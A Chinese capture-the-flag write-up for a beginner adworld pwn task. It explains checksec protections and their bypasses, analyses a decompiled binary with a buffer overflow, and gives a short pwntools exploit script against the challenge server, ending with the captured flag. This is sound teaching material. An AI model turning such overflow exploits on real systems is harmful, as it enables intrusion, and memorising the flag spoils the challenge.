測試文件:https://adworld.xctf.org.cn/media/task/attachments/c0a6dfb32cc7488a939d8c537530174d
checksec轉自:https://www.cnblogs.com/Ox9A82/p/5728149.html
(1)拿到efl,首先要用checksec來檢測elf運行於哪個平台,開啟了什么安全措施,如果用gcc的編譯后,默認會開啟所有的安全措施。
【1】RELRO:RELRO會有Partial RELRO和FULL RELRO,如果開啟FULL RELRO,意味着我們無法修改got表
【2】Stack:如果棧中開啟Canary found,那么就不能用直接用溢出的方法覆蓋棧中返回地址,而且要通過改寫指針與局部變量、leak canary、overwrite canary的方法來繞過
【3】NX:NX enabled如果這個保護開啟就是意味着棧中數據沒有執行權限,以前的經常用的call esp或者jmp esp的方法就不能使用,但是可以利用rop這種方法繞過
【4】PIE:PIE enabled如果程序開啟這個地址隨機化選項就意味着程序每次運行的時候地址都會變化,而如果沒有開PIE的話那么No PIE (0x400000),括號內的數據就是程序的基地址
【5】FORTIFY:FORTIFY_SOURCE機制對格式化字符串有兩個限制(1)包含%n的格式化字符串不能位於程序內存中的可寫地址。(2)當使用位置參數時,必須使用范圍內的所有參數。所以如果要使用%7$x,你必須同時使用1,2,3,4,5和6。
1.准備
獲得信息:
- 64位文件
- 未開啟canary
2.IDA打開
__int64 __fastcall main(__int64 a1, char **a2, char **a3) { alarm(0x3Cu); // 定時器 setbuf(stdout, 0LL); puts("~~ welcome to ctf ~~ "); puts("lets get helloworld for bof"); read(0, &unk_601068, 0x10uLL); if ( dword_60106C == 0x6E756161 ) sub_400686(0LL, &unk_601068); return 0LL; }
接着看下unk_601068和dword_60106C變量
3.代碼分析
我們能夠利用unk_601068的讀取數據,來讓數據溢出到dword_60106C,給dword_60106C賦值為0x6e756161,從而得到flag
4.exp
from pwn import * p = remote('111.198.29.45',38520) payload = 'a'*4 + p32( 015635260541) p.sendline(payload) p.interactive()
5.get flag!
cyberpeace{089edb73996a6c43550d0d64271a9081}